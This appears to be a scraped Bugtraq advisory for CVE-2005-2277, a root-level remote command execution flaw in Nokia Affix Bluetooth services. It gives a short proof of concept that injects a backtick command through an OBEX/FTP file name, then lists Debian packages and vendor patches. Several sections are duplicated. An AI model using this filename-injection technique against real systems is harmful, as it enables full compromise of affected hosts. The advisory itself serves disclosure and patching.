Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
BID:14232
Info
Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
| Bugtraq ID: | 14232 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-2277 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 12 2005 12:00AM |
| Updated: | Jul 12 2009 04:06PM |
| Credit: | Discovery of this issue is credited to Kevin Finisterre. |
| Vulnerable: |
Nokia Affix 3.2 Nokia Affix 3.1 Nokia Affix 3.0 Nokia Affix 2.1.2 Nokia Affix 2.1.1 Nokia Affix 2.1 Nokia Affix 2.0.2 Nokia Affix 2.0.1 Nokia Affix 2.0 Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips Debian Linux 3.1 m68k Debian Linux 3.1 ia-64 Debian Linux 3.1 ia-32 Debian Linux 3.1 hppa Debian Linux 3.1 arm Debian Linux 3.1 amd64 Debian Linux 3.1 alpha Debian Linux 3.1 |
| Not Vulnerable: | |
Discussion
Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call.
Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software.
Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call.
Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software.
Exploit / POC
Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
No exploit is required, the following example is available:
ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete.
No exploit is required, the following example is available:
ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete.
Solution / Fix
Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
Solution:
Debian has released advisory DSA 762-1 to address this issue. Please see the attached advisory for details on obtaining and applying fixes.
Debian has released security advisory DSA 773-1 addressing several issues for their AMD64 port of the operating system. Please see the referenced advisory for further information.
The vendor has released patches:
Nokia Affix 2.1
Nokia Affix 2.1.1
Nokia Affix 2.1.2
Nokia Affix 3.2
Solution:
Debian has released advisory DSA 762-1 to address this issue. Please see the attached advisory for details on obtaining and applying fixes.
Debian has released security advisory DSA 773-1 addressing several issues for their AMD64 port of the operating system. Please see the referenced advisory for further information.
The vendor has released patches:
Nokia Affix 2.1
-
Debian affix_2.1.1-2_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_alp ha.deb -
Debian affix_2.1.1-2_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_arm .deb -
Debian affix_2.1.1-2_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_hpp a.deb -
Debian affix_2.1.1-2_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_i38 6.deb -
Debian affix_2.1.1-2_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_ia6 4.deb -
Debian affix_2.1.1-2_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_m68 k.deb -
Debian affix_2.1.1-2_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_mip s.deb -
Debian affix_2.1.1-2_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_mip sel.deb -
Debian affix_2.1.1-2_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_pow erpc.deb -
Debian affix_2.1.1-2_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_s39 0.deb -
Debian affix_2.1.1-2_sparc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_spa rc.deb -
Debian libaffix-dev_2.1.1-2_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_alpha.deb -
Debian libaffix-dev_2.1.1-2_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_arm.deb -
Debian libaffix-dev_2.1.1-2_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_hppa.deb -
Debian libaffix-dev_2.1.1-2_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_i386.deb -
Debian libaffix-dev_2.1.1-2_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_ia64.deb -
Debian libaffix-dev_2.1.1-2_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_m68k.deb -
Debian libaffix-dev_2.1.1-2_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_mips.deb -
Debian libaffix-dev_2.1.1-2_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_mipsel.deb -
Debian libaffix-dev_2.1.1-2_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_powerpc.deb -
Debian libaffix-dev_2.1.1-2_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_s390.deb -
Debian libaffix-dev_2.1.1-2_sparc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_sparc.deb -
Debian libaffix2_2.1.1-2_alpha.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _alpha.deb -
Debian libaffix2_2.1.1-2_arm.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _arm.deb -
Debian libaffix2_2.1.1-2_hppa.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _hppa.deb -
Debian libaffix2_2.1.1-2_i386.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _i386.deb -
Debian libaffix2_2.1.1-2_ia64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _ia64.deb -
Debian libaffix2_2.1.1-2_m68k.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _m68k.deb -
Debian libaffix2_2.1.1-2_mips.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _mips.deb -
Debian libaffix2_2.1.1-2_mipsel.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _mipsel.deb -
Debian libaffix2_2.1.1-2_powerpc.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _powerpc.deb -
Debian libaffix2_2.1.1-2_s390.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _s390.deb
Nokia Affix 2.1.1
-
Debian affix_2.1.1-2_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/affix_2.1.1-2_amd 64.deb -
Debian libaffix-dev_2.1.1-2_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix-dev_2.1. 1-2_amd64.deb -
Debian libaffix2_2.1.1-2_amd64.deb
Debian GNU/Linux 3.1 alias sarge
http://security.debian.org/pool/updates/main/a/affix/libaffix2_2.1.1-2 _amd64.deb
Nokia Affix 2.1.2
-
Nokia affix_212_sec.patch
http://affix.sourceforge.net/affix_212_sec.patch
Nokia Affix 3.2
-
Nokia affix_320_sec.patch
http://affix.sourceforge.net/affix_320_sec.patch
References
Nokia Affix BTSRV/BTOBEX Remote Command Execution Vulnerability
References:
References:
- Affix Homepage (Nokia)
- DMA[2005-0712b] - 'Nokia Affix Bluetooth btsrv/btobex poor use of system()' (Kevin Finisterre)